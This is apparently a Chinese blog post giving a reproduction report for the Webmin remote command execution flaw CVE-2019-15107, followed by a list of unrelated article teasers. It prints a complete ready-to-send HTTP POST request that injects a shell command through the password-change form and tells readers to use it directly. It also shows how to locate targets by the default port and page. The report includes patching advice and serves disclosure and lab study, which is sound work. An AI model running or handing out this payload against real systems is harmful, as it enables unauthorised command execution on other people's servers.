Webmin远程命令执行漏洞复现报告
漏洞编号
CVE-2019-15107
漏洞描述
Webmin是一个基于Web的系统配置工具，用于类Unix系统。密码重置页面中存在此漏洞，允许未经身份验证的用户通过简单的 POST 请求执行任意命令。
影响版本
Webmin<=1.920
漏洞评级
严重
利用方法（利用案例）
参考链接：https://vulhub.org/#/environments/webmin/CVE-2019-15107/
构造payload
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
直接利用payload即可
漏洞挖掘
可以根据网站指纹信息
10000是这个系统的默认端口，在目标网站访问这个url：/password_change.cgi
加固建议
升级到1.930版本
漏洞分类
远程代码执行漏洞
参考链接
Vulhub - 用于漏洞环境的 Docker-Compose 文件
相关文章：
Webmin远程命令执行漏洞复现报告
漏洞编号 CVE-2019-15107 漏洞描述 Webmin是一个基于Web的系统配置工具，用于类Unix系统。密码重置页面中存在此漏洞，允许未经身份验证的用户通过简单的 POST 请求执行任意命令。 影响版本 Webmin<1.920 漏洞评级 严重 利用方法（利…...
webstorm自定义文件模板（Vue + Scss）
最终效果如下： 具体配置如下： 新增文件代码如下： <!--* Description: ${COMPONENT_NAME} 页面* Author: mhf* Date: ${DATE} --> <template><div>${COMPONENT_NAME} </div> </template><script&g…...
楔子-写在之前
最近一年都在忙着一个项目，并且需要学习另一个领域的知识，从单片机过渡到了LINUX嵌入式，倒静不下心去写点东西。看了下之前写的东西，感觉已经过去了很久很久。现在项目快忙完了，准备把最近的心得给大家分享下。 前言 …...
第 5 章 数组和广义表（稀疏矩阵的三元组顺序表存储实现）
1. 背景说明 为了节省存储空间，可以对这类矩阵进行压缩存储。所谓压缩存储是指：为多个值相同的元只分配一个存储空间，对零元不分配空间。 2. 示例代码 1)status.h /* DataStructure 预定义常量和类型头文件 */ #include <string.h>#i…...
【RabbitMQ 实战】11 队列的结构和惰性队列
一、 队列的结构 队列的组成： 队列由 rabbit_amgqueue_process 和 backing_queue两部分组成。rabbit_amqqueue_process负责协议相关的消息处理，即接收生产者发布的消息、向消费者交付消息、处理消息的确认 (包括生产端的 confirm 和消费端的 ack) 等。…...
Python3-批量重命名指定目录中的一组文件，更改其扩展名
Python3-批量重命名指定目录中的一组文件，更改其扩展名 1.argparse模块2.vars内置函数3.os.listdir(path)4.os.path.splitext(filepath)5.os.path.join6.os.rename7.os.path.isfile8.批量重命名指定目录中的一组文件，更改其扩展名 1.argparse模块 argpa…...
渗透测试KAILI系统的安装环境(第八课)
KAILI系统的安装环境(第八课) Kaili是一款基于PHP7的高性能微服务框架，其核心思想是面向服务的架构（SOA），支持http、websocket、tcp等多种通信协议，同时还提供了RPC、Service Mesh、OAuth2等功能。Kaili框架非常适合构…...
如何正确方便的理解双指针？力扣102 （二叉树的层序遍历）
双指针，顾名思义就是指针的指针。 在此之前我们需要先理解单指针 （简称为指针）。指针很简单，直接上例子：例：现有两个变量，a10,b20. 要求：交换他们的值，输出的结果应为a20…...
Vue或uniapp引入自定义字体
一、为什么引入字体 对于大部分APP或网站而言，字体是很重要的一部分。在前端开发中，选用合适的字体往往会极大地提升网站的视觉体验。然而，网页中默认字体的种类和风格有限，且在不同的设备、浏览器上渲染效果不尽相同。因此&…...
力扣：LCR 122. 路径加密 题目：剑指Offer 05.替换空格（c++）
本文章代码以c为例！ 力扣：LCR 122. 路径加密 题目： 代码： class Solution { public:string pathEncryption(string path) {for(int i0;i<path.size();i){if(path[i].){path[i] ;}}return path;} }; 难度升级（原…...
cJson堆内存释放问题
cJSON_Delete()，是用来释放json对象的，释放父JSON对象后，子JSON对象也会被释放。 CJSON_free()，是用来释放其他对象的。 int main(void) {cJSON* cjson_test NULL;cJSON* cjson_address NULL;cJSON* cjson_skill NULL;char* s…...
论文阅读/写作扫盲
第一节：期刊科普 JCR分区和中科院分区是用于对期刊进行分类和评估的两种常见方法。它们的存在是为了帮助学术界和研究人员更好地了解期刊的学术质量、影响力和地位。 JCR分区（Journal Citation Reports）：JCR分区是由Clarivate Ana…...
一文拿捏对象内存布局及JMM（JAVA内存模型）
1 JMM(Java Memory Model) 1 概述 Java内存模型(Java Memory Model简称JMM)是一种抽象的概念，并不真实存在，它描述的一组规则或者规范。通过这些规则、规范定义了程序中各个变量的访问方式。jvm运行的程序的实体是线程，而每个线程运行时&am…...
Android组件通信——ActivityGroup（二十五）
1. ActivityGroup 1.1 知识点 （1）了解ActivityGroup的作用； （2）使用ActivityGroup进行复杂标签菜单的实现； （3）使用PopupWindow组件实现弹出菜单组件开发； 1.2 具体…...
js的继承的方式
1.对象冒充继承 使用 bind,call,apply 解决构造函数属性的继承 缺点:不能继承原型上的属性和方法 //-------------父类-------------function Person(name, age, sex) {this.name name;this.age age;this.sex sex;}Person.prototype.run function () {console.log(我${this…...
聊聊HttpClient的重试机制
序 本文主要研究一下HttpClient的重试机制 HttpRequestRetryHandler org/apache/http/client/HttpRequestRetryHandler.java public interface HttpRequestRetryHandler {/*** Determines if a method should be retried after an IOException* occurs during execution.**…...
北邮22级信通院数电：Verilog-FPGA（4）第三周实验：按键消抖、呼吸灯、流水灯 操作流程注意事项
北邮22信通一枚~ 跟随课程进度更新北邮信通院数字系统设计的笔记、代码和文章 持续关注作者 迎接数电实验学习~ 获取更多文章，请访问专栏： 北邮22级信通院数电实验_青山如墨雨如画的博客-CSDN博客 目录 一.注意事项 二.按键消抖 2.1 LED_deboun…...
Ghidra101再入门(上？)-Ghidra架构介绍
Ghidra101再入门(上？)-Ghidra架构介绍 最近有群友问我，说：“用了很多年的IDA，最近想看看Ghidra，这应该怎么进行入门？“这可难到我了。。 我发现，市面上虽然介绍Ghidra怎么用的文章和书籍很多&…...
Vue3路由引入报错解决：无法找到模块“xxx.vue”的声明文件 xxx隐式拥有 “any“ 类型。
这类情况应该遇见过吧，这是因为 TypeScript只能理解 .ts 文件，无法理解 .vue 文件。 解决方法：在项目的根目录或者src文件夹下创建一个后辍为 文件名.d.ts 的文件，并写入一下内容： declare module *.vue {import { …...
基于若依ruoyi-nbcio支持flowable流程分类里增加流程应用类型
更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码： https://gitee.com/nbacheng/ruoyi-nbcio 演示地址：RuoYi-Nbcio后台管理系统 主要考虑到流程分很多种，普通的是OA流程，还有自定义业务流程，钉钉流程等…...
MapStruct实战：手把手教你处理SpringBoot API中的字段名不一致问题
MapStruct实战：SpringBoot API字段名不一致的优雅解决方案 在SpringBoot开发中，前后端数据交互时经常遇到字段命名规范不一致的问题。数据库使用user_name，前端却要求userName；或者需要隐藏敏感字段如password，转换成*…...
你的旋钮漂移吗？EC11编码器在51单片机上的硬件消抖与软件滤波实战避坑指南
EC11编码器实战：从硬件消抖到软件滤波的稳定性优化全攻略 在嵌入式控制领域，旋转编码器作为人机交互的重要组件，其稳定性直接影响用户体验。EC11作为经济实用的机械编码器代表，广泛应用于音量调节、参数设置等场景。但当电机干扰、…...
CANN/asc-devkit SIMT fmodf函数
fmodf 【免费下载链接】asc-devkit 本项目是CANN 推出的昇腾AI处理器专用的算子程序开发语言，原生支持C和C标准规范，主要由类库和语言扩展层构成，提供多层级API，满足多维场景算子开发诉求。 项目地址: https://gitcode.com/cann…...
实时仿真软件SimuRTS
1）简介 SimuRTS是一款实时仿真软件，应用于硬件在环（HIL）嵌入式系统半实物仿真测试。基于SimuRTS的用户界面快速配置I/O通道、数据记录和激励生成。通过丰富的图形元素配置图形控制界面并根据需要显示相应结果，全面测试…...
OpenWrt opkg配置进阶：手把手教你设置代理、跳过证书检查，解决国内下载慢问题
OpenWrt opkg高效配置指南：突破网络限制的实战技巧 每次在OpenWrt上安装软件时，看着缓慢的下载进度条或者突如其来的连接错误，是不是感觉既熟悉又无奈？作为一款强大的路由器操作系统，OpenWrt的opkg包管理器本该是我们的…...
从SE到Dual-Attention：手把手教你为YOLOv8或ResNet模型‘加装’注意力模块提升指标
从SE到Dual-Attention：手把手教你为YOLOv8或ResNet模型‘加装’注意力模块提升指标 在计算机视觉领域，注意力机制已成为提升模型性能的"秘密武器"。不同于完全重构网络架构，注意力模块的魅力在于其即插即用的特性——就像为汽车加装…...
Android BroadcastReceiver 深度解析：原理、实践与面试指南
引言 在 Android 开发中，BroadcastReceiver 是一个核心组件，用于处理系统级事件或应用内通信。它允许应用程序响应来自系统或其他应用的广播消息，如设备开机、网络状态变化或自定义事件。BroadcastReceiver 基于事件驱动的模型，帮助开发者实现松耦合的架构，提升应用的响应…...
告别HAL库延时：在STM32F103上基于CubeMX和LL库，打造更高效的SysTick延时方案
STM32F103高效延时方案：从HAL库到LL库的SysTick实战优化 在嵌入式开发中，精确的延时控制往往是项目成败的关键因素之一。许多STM32开发者最初接触的是HAL库提供的HAL_Delay()函数，它简单易用，但随着项目复杂度提升，特别…...
【C++】模板进阶全内容，一篇搞定所有！！！
文章目录1. 非类型模板参数补充：array静态数组array<int,10> a1;和int arr[10];的区别2.模板的特化2.1 概念2.2 函数模板特化2.3 类模板特化2.3.1 全特化2.3.2 偏特化2.3.3 类模板特化应用示例3.模板分离编译3.1 什么是分离编译3.2 模板的分离编译3.3 解决方法…...
Zotero安装后必做的5件事：从浏览器抓取到PDF重命名，新手避坑指南
Zotero安装后必做的5件事：从浏览器抓取到PDF重命名，新手避坑指南 第一次打开Zotero时，面对空荡荡的界面和密密麻麻的菜单选项，很多科研新手都会感到无从下手。作为一款功能强大的开源文献管理工具，Zotero的真正价值往往…...